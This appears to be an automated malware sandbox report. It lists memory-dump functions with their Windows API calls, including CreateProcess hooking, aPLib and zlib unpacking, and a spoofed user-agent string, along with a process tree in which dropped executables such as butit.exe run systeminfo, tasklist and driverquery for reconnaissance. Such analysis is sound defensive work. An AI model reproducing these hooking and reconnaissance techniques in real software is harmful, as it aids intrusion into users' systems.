Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 02251F7B, Relevance: 7.4, APIs: 4, Instructions: 39

APIs

DeleteFileW.KERNEL32(?), ref: 02251F84
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000004,00000080,00000000), ref: 02251F9E
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 02251FC1
CloseHandle.KERNEL32 ref: 02251FD1

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 02254453, Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 22

APIs

EnterCriticalSection.KERNEL32(04E6A010,00000001,00000000,?,02254C32,?,00010C54), ref: 02254462
lstrcpyW.KERNEL32(00010C54,Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)), ref: 0225447A
LeaveCriticalSection.KERNEL32(04E6A010,?,02254C32,?,00010C54), ref: 02254481

Strings

Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0), xrefs: 02254472

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 02259BC5, Relevance: 7.2, APIs: 4, Instructions: 47

APIs

CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,08000000,00000000), ref: 02259BEA
GetFileSize.KERNEL32(?,00000000), ref: 02259BFA

Part of subcall function 022521B0: HeapAlloc.KERNEL32(00150000,00000000,00000348,02254FD6), ref: 022521BA

ReadFile.KERNEL32(?,?,?,?,00000000), ref: 02259C14
CloseHandle.KERNEL32(?), ref: 02259C2F

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 01FF2C74, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47

APIs

_aP_crc32@8.APLIB ref: 01FF2CAF
_aP_depack_asm_safe@16.APLIB(?,?,?,?), ref: 01FF2CC8
_aP_crc32@8.APLIB(?), ref: 01FF2CD6

Strings

AP32, xrefs: 01FF2C90

Memory Dump Source

Source File: 00000000.00000002.1094533793.01FF1000.00000010.sdmp, Offset: 01FF0000, based on PE: true

Associated: 00000000.00000002.1094520939.01FF0000.00000002.sdmp
Associated: 00000000.00000002.1094540995.01FF3000.00000002.sdmp

Function 01FF2D18, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41

APIs

_aP_crc32@8.APLIB(?,?), ref: 01FF2D49
_aP_pack@24.APLIB(?,?,?,?,?,?), ref: 01FF2D5D
_aP_crc32@8.APLIB ref: 01FF2D6E

Strings

AP32, xrefs: 01FF2D33

Memory Dump Source

Source File: 00000000.00000002.1094533793.01FF1000.00000010.sdmp, Offset: 01FF0000, based on PE: true

Associated: 00000000.00000002.1094520939.01FF0000.00000002.sdmp
Associated: 00000000.00000002.1094540995.01FF3000.00000002.sdmp

Function 0225ABF3, Relevance: 6.3, APIs: 5, Instructions: 83

APIs

EnterCriticalSection.KERNEL32 ref: 0225AC05
LeaveCriticalSection.KERNEL32(00000000), ref: 0225AC2E
SetLastError.KERNEL32(00000000,?,?,?,00000000,00000000,?,?,?,00000002,?,?,?,?,00000001), ref: 0225AC99

Part of subcall function 0225AAF6: CreateStreamOnHGlobal.OLE32(00000000,00000001), ref: 0225AB9C

GetLastError.KERNEL32 ref: 0225ACB6
SetLastError.KERNEL32 ref: 0225ACBD

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 02299080, Relevance: 6.1, APIs: 4, Instructions: 76

APIs

Part of subcall function 022991C0: malloc.MSVCRT ref: 022991CA

inflateReset.ZLIB1(?,00000001,00002530), ref: 02299103
inflate.ZLIB1(?,00000004,?,?,00000001,00002530), ref: 02299117

Part of subcall function 022957A0: crc32.ZLIB1(?,?,?), ref: 02295C23
Part of subcall function 022957A0: crc32.ZLIB1(?,?,?), ref: 02296A9D
Part of subcall function 022957A0: adler32.ZLIB1(?,?,?), ref: 02296AA8
Part of subcall function 022957A0: adler32.ZLIB1(?,?,?,77C1F2BC), ref: 02296C88

inflateEnd.ZLIB1(?,?,?,?,00000001,00002530), ref: 0229912B
inflateEnd.ZLIB1(?,?,?,?,00000001,00002530), ref: 02299163

Memory Dump Source

Source File: 00000000.00000002.1094900270.02291000.00000010.sdmp, Offset: 02290000, based on PE: true

Associated: 00000000.00000002.1094893982.02290000.00000002.sdmp
Associated: 00000000.00000002.1094909060.0229B000.00000002.sdmp
Associated: 00000000.00000002.1094921476.022A0000.00000004.sdmp
Associated: 00000000.00000002.1094927568.022A1000.00000002.sdmp

Function 0225415F, Relevance: 6.1, APIs: 4, Instructions: 65

APIs

Part of subcall function 02253FB6: InitializeCriticalSection.KERNEL32(02287CD0), ref: 02253FC6
Part of subcall function 02253FB6: memset.NTDLL(02287CE8,00000000), ref: 02253FD8
Part of subcall function 02253FB6: EnterCriticalSection.KERNEL32(02287CD0,00000000,022542C6,?,000108AE,?,?,CreateProcessAsUserW,?,CreateProcessAsUserA,?,CreateProcessW,?,CreateProcessA), ref: 02253FEB

GetCurrentProcess.KERNEL32 ref: 0225418A
VirtualProtectEx.KERNEL32(?,?,?,00000040,?), ref: 022541A9
FlushInstructionCache.KERNEL32(?), ref: 022541CD
VirtualProtectEx.KERNEL32(?,?,?,00000000,?), ref: 022541E2

Part of subcall function 02253DE8: VirtualFree.KERNEL32(?,00000000,00008000), ref: 02253E13

Part of subcall function 02253CB1: GetCurrentThread.KERNEL32 ref: 02253CBE
Part of subcall function 02253CB1: GetThreadPriority.KERNEL32 ref: 02253CC1
Part of subcall function 02253CB1: GetCurrentThread.KERNEL32 ref: 02253CCC
Part of subcall function 02253CB1: SetThreadPriority.KERNEL32 ref: 02253CD5
Part of subcall function 02253CB1: ResumeThread.KERNEL32(00000000), ref: 02253CE9
Part of subcall function 02253CB1: CloseHandle.KERNEL32(00000000), ref: 02253CF7
Part of subcall function 02253CB1: GetProcessHeap.KERNEL32 ref: 02253D0E
Part of subcall function 02253CB1: HeapFree.KERNEL32(?,?,?,?,?,?,?,?,02254158), ref: 02253D15
Part of subcall function 02253CB1: GetCurrentThread.KERNEL32 ref: 02253D2C
Part of subcall function 02253CB1: SetThreadPriority.KERNEL32 ref: 02253D2F

Part of subcall function 02253FAA: LeaveCriticalSection.KERNEL32(02287CD0,02254445,?,?,000108AE,?,?,CreateProcessAsUserW,?,CreateProcessAsUserA,?,CreateProcessW,?,CreateProcessA), ref: 02253FAF

Part of subcall function 02253FF3: GetCurrentThread.KERNEL32 ref: 02254004
Part of subcall function 02253FF3: GetThreadPriority.KERNEL32 ref: 02254007
Part of subcall function 02253FF3: GetCurrentThread.KERNEL32 ref: 02254012
Part of subcall function 02253FF3: SetThreadPriority.KERNEL32 ref: 02254015
Part of subcall function 02253FF3: GetCurrentProcessId.KERNEL32 ref: 0225401B
Part of subcall function 02253FF3: CreateToolhelp32Snapshot.KERNEL32(00000004), ref: 02254024
Part of subcall function 02253FF3: Thread32First.KERNEL32 ref: 02254055
Part of subcall function 02253FF3: GetCurrentProcessId.KERNEL32 ref: 0225405F
Part of subcall function 02253FF3: GetCurrentThreadId.KERNEL32 ref: 0225406A
Part of subcall function 02253FF3: Thread32Next.KERNEL32(?), ref: 02254082
Part of subcall function 02253FF3: GetProcessHeap.KERNEL32 ref: 022540A0
Part of subcall function 02253FF3: HeapAlloc.KERNEL32 ref: 022540A7
Part of subcall function 02253FF3: memset.NTDLL(?,00000000), ref: 022540BC
Part of subcall function 02253FF3: Thread32First.KERNEL32(?), ref: 022540D2
Part of subcall function 02253FF3: GetCurrentProcessId.KERNEL32 ref: 022540D6
Part of subcall function 02253FF3: GetCurrentThreadId.KERNEL32 ref: 022540E1
Part of subcall function 02253FF3: Thread32Next.KERNEL32(?), ref: 0225411C
Part of subcall function 02253FF3: CloseHandle.KERNEL32(?), ref: 02254138
Part of subcall function 02253FF3: GetCurrentThread.KERNEL32 ref: 02254143
Part of subcall function 02253FF3: SetThreadPriority.KERNEL32 ref: 02254146

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225A6F8, Relevance: 6.0, APIs: 4, Instructions: 27

APIs

SetEvent.KERNEL32 ref: 0225A717
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0225A721
CloseHandle.KERNEL32 ref: 0225A729
CloseHandle.KERNEL32(00000000), ref: 0225A730

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225BDA1, Relevance: 6.0, APIs: 4, Instructions: 27

APIs

SetEvent.KERNEL32 ref: 0225BDC0
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0225BDCA
CloseHandle.KERNEL32 ref: 0225BDD2
CloseHandle.KERNEL32(00000000), ref: 0225BDD9

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225B4FE, Relevance: 6.0, APIs: 3, Instructions: 17

APIs

EnterCriticalSection.KERNEL32(00000000,00010A66,00010DB2,0225E1A3,00010A66,00010DB2,00000000,?,?,0225E43A,?,?,00000000,?,00000000,00000000), ref: 0225B507
InterlockedIncrement.KERNEL32(00000030), ref: 0225B518
LeaveCriticalSection.KERNEL32(00000000,?,?,0225E43A,?,?,00000000,?,00000000,00000000), ref: 0225B51F

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 022534B7, Relevance: 5.8, APIs: 2, Strings: 1, Instructions: 63

APIs

memcpy.NTDLL(?,?,?,?,?,00000000,?,?,0225366D,?,?), ref: 022534F9
memcpy.NTDLL(?,?,?,?,?,00000000,?,?,0225366D,?,?), ref: 02253541

Strings

@, xrefs: 02253523

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 022937E0, Relevance: 5.1, APIs: 2, Instructions: 38

APIs

_errno.MSVCRT ref: 022937F2
fread.MSVCRT ref: 0229380D

Memory Dump Source

Source File: 00000000.00000002.1094900270.02291000.00000010.sdmp, Offset: 02290000, based on PE: true

Associated: 00000000.00000002.1094893982.02290000.00000002.sdmp
Associated: 00000000.00000002.1094909060.0229B000.00000002.sdmp
Associated: 00000000.00000002.1094921476.022A0000.00000004.sdmp
Associated: 00000000.00000002.1094927568.022A1000.00000002.sdmp

Function 0225ADD6, Relevance: 5.0, APIs: 4, Instructions: 50

APIs

EnterCriticalSection.KERNEL32 ref: 0225ADE1
LeaveCriticalSection.KERNEL32(00000000), ref: 0225AE08
SetLastError.KERNEL32 ref: 0225AE4E

Part of subcall function 0225AAF6: CreateStreamOnHGlobal.OLE32(00000000,00000001), ref: 0225AB9C

GetLastError.KERNEL32 ref: 0225AE47

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225C8F2, Relevance: 5.0, APIs: 4, Instructions: 39

APIs

GetLastError.KERNEL32 ref: 0225C904
EnterCriticalSection.KERNEL32 ref: 0225C913
LeaveCriticalSection.KERNEL32 ref: 0225C949
SetLastError.KERNEL32(?), ref: 0225C952

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Analysis Process: iexplore.exe PID: 588 Parent PID: 776

Executed Functions

Non-executed Functions

Analysis Process: spa.dll PID: 3352 Parent PID: 588

Executed Functions

Non-executed Functions

Analysis Process: opera_autoupdater.exe PID: 480 Parent PID: 3352

Executed Functions

Non-executed Functions

Analysis Process: iexplore.exe PID: 2232 Parent PID: 776

Executed Functions

Non-executed Functions

Analysis Process: iexplore.exe PID: 2244 Parent PID: 776

Executed Functions

Non-executed Functions

Analysis Process: butit.exe PID: 3032 Parent PID: 480

Executed Functions

Non-executed Functions

Analysis Process: explorer.exe PID: 1460 Parent PID: 3032

Executed Functions

Non-executed Functions

Analysis Process: cmd.exe PID: 2860 Parent PID: 3032

Executed Functions

Non-executed Functions

Analysis Process: attrib.exe PID: 1908 Parent PID: 2860

Executed Functions

Non-executed Functions

Analysis Process: cmd.exe PID: 3632 Parent PID: 3032

Executed Functions

Non-executed Functions

Analysis Process: systeminfo.exe PID: 1428 Parent PID: 3632

Executed Functions

Non-executed Functions

Analysis Process: cutit.exe PID: 2516 Parent PID: 480

Executed Functions

Non-executed Functions

Analysis Process: tasklist.exe PID: 3440 Parent PID: 2880

Executed Functions

Non-executed Functions

Analysis Process: cmd.exe PID: 2880 Parent PID: 3032

Executed Functions

Non-executed Functions

Analysis Process: oxfyc.exe PID: 2408 Parent PID: 2516

Executed Functions

Non-executed Functions

Analysis Process: cmd.exe PID: 4064 Parent PID: 3032

Executed Functions

Non-executed Functions

Analysis Process: driverquery.exe PID: 2736 Parent PID: 4064

Executed Functions

Non-executed Functions

Loading ...

Warning!

Error!

General Information

Detection

Signature Overview

Key, Mouse, Clipboard, Microphone and Screen Caputering:

Networking:

Boot Survival:

Persistence and Installation Behavior:

Data Obfuscation:

System Summary:

HIPS / PFW / Operating System Protection Evasion:

Anti Debugging:

Virtual Machine Detection:

Hooking and other Techniques for Stealthness and Protection:

Lowering of HIPS / PFW / Operating System Security Settings:

Language, Device and Operating System Detection:

Startup

Created / dropped Files

Contacted Domains

Contacted IPs

Static File Info

Network Behavior

Code Manipulation Behavior

System Behavior

Analysis Process: iexplore.exe PID: 776 Parent PID: 848

Analysis Process: iexplore.exe PID: 588 Parent PID: 776

Analysis Process: spa.dll PID: 3352 Parent PID: 588

Analysis Process: opera_autoupdater.exe PID: 480 Parent PID: 3352

Analysis Process: iexplore.exe PID: 2232 Parent PID: 776

Analysis Process: iexplore.exe PID: 2244 Parent PID: 776

Analysis Process: butit.exe PID: 3032 Parent PID: 480

Analysis Process: explorer.exe PID: 1460 Parent PID: 3032

Analysis Process: cmd.exe PID: 2860 Parent PID: 3032

Analysis Process: attrib.exe PID: 1908 Parent PID: 2860

Analysis Process: cmd.exe PID: 3632 Parent PID: 3032

Analysis Process: systeminfo.exe PID: 1428 Parent PID: 3632

Analysis Process: cutit.exe PID: 2516 Parent PID: 480

Analysis Process: tasklist.exe PID: 3440 Parent PID: 2880

Analysis Process: cmd.exe PID: 2880 Parent PID: 3032

Analysis Process: oxfyc.exe PID: 2408 Parent PID: 2516

Analysis Process: cmd.exe PID: 4064 Parent PID: 3032

Analysis Process: driverquery.exe PID: 2736 Parent PID: 4064

Disassembly

Code Analysis

Analysis Process: iexplore.exe PID: 776 Parent PID: 848

Analysis Process: iexplore.exe PID: 588 Parent PID: 776

Analysis Process: spa.dll PID: 3352 Parent PID: 588

Analysis Process: opera_autoupdater.exe PID: 480 Parent PID: 3352

Analysis Process: iexplore.exe PID: 2232 Parent PID: 776

Analysis Process: iexplore.exe PID: 2244 Parent PID: 776

Analysis Process: butit.exe PID: 3032 Parent PID: 480

Analysis Process: explorer.exe PID: 1460 Parent PID: 3032

Analysis Process: cmd.exe PID: 2860 Parent PID: 3032

Analysis Process: attrib.exe PID: 1908 Parent PID: 2860

Analysis Process: cmd.exe PID: 3632 Parent PID: 3032

Analysis Process: systeminfo.exe PID: 1428 Parent PID: 3632

Analysis Process: cutit.exe PID: 2516 Parent PID: 480

Analysis Process: tasklist.exe PID: 3440 Parent PID: 2880

Analysis Process: cmd.exe PID: 2880 Parent PID: 3032

Analysis Process: oxfyc.exe PID: 2408 Parent PID: 2516

Analysis Process: cmd.exe PID: 4064 Parent PID: 3032

Analysis Process: driverquery.exe PID: 2736 Parent PID: 4064